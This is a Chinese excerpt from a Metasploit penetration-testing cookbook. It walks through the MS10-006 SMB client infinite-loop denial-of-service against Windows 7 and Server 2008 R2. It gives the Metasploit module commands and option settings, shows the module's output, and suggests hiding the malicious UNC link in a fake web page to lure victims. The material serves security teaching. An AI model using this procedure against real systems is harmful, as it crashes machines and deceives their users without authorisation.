本节书摘来自异步社区《Metasploit渗透测试手册》一书中的第3章3.6节Windows 7 Server 2008 R2 SMB客户端无限循环漏洞,作者【印度】Abhinav Singh,更多章节内容可以访问云栖社区“异步社区”公众号查看。
3.6 Windows 7 Server 2008 R2 SMB客户端无限循环漏洞
Metasploit渗透测试手册
针对Windows 7和Windows Server 2008的漏洞利用代码非常少,SMB客户端无限循环漏洞是其中的一项,可以导致目标系统崩溃。该漏洞不会产生会话或shell连接,但也仍然值得讨论。在第3.8节中,将对Windows 7中的DLL注入漏洞进行分析。
Windows Server 2008 R2与Windows 7中的SMB客户端中存在漏洞,间接攻击者和远程SMB服务器可以利用SMBv1或SMBv2响应数据包产生拒绝服务(无限循环和系统挂起)。该数据包的NetBIOS头部或末端长度字段中包含有不正确的长度值,是导致该漏洞的主要原因。
准备
Metasploit中包含有辅助模块auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop,可用于对SMB服务器进行攻击渗透,并导致拒绝服务,其攻击方法是将UNC路径传递给web页面,并诱使目标用户执行,用户打开共享文件之后,目标系统将完全崩溃,只能重启恢复。
怎样实现
要使用该辅助模块,需要使用use命令,并以该模块路径为参数,然后设置必需的参数并执行该模块,可执行如下步骤。
msf> use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
msf auxiliary(ms10_006_negotiate_response_loop)> show options
Module options (auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host..
SRVPORT 445 yes The SMB port to listen
SSL false no Negotiate SSL..
SSLCert no Path to a custom SSL
SSLVersion SSL3 no Specify the version..
快速设置各种参数,实际上唯一需要更改的参数是SRVHOST,该参数需要设置为渗透攻击人员所用机器的IP地址。
msf auxiliary(ms10_006_negotiate_response_loop)> set SRVHOST
192.168.56.101
SRVHOST => 192.168.56.101
怎样工作
使用run命令执行该辅助模块,该模块执行后,会生成一个共享文件夹链接并发送给目标用户,本示例中生成的链接为
\\192.168.56.101\Shared\Anything。
msf auxiliary(ms10_006_negotiate_response_loop)> run
[*] Starting the malicious SMB service...
[*] To trigger, the vulnerable client should try to access:
\\192.168.56.101\Shared\Anything
[*] Server started.
还可以伪造一个网页,将其附加到该链接中使其看起来不那么可疑,之后将其发送给目标用户。目标用户点击该链接之后,目标系统将彻底死机,导致完全的拒绝服务,只有重启才能恢复正常。
本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。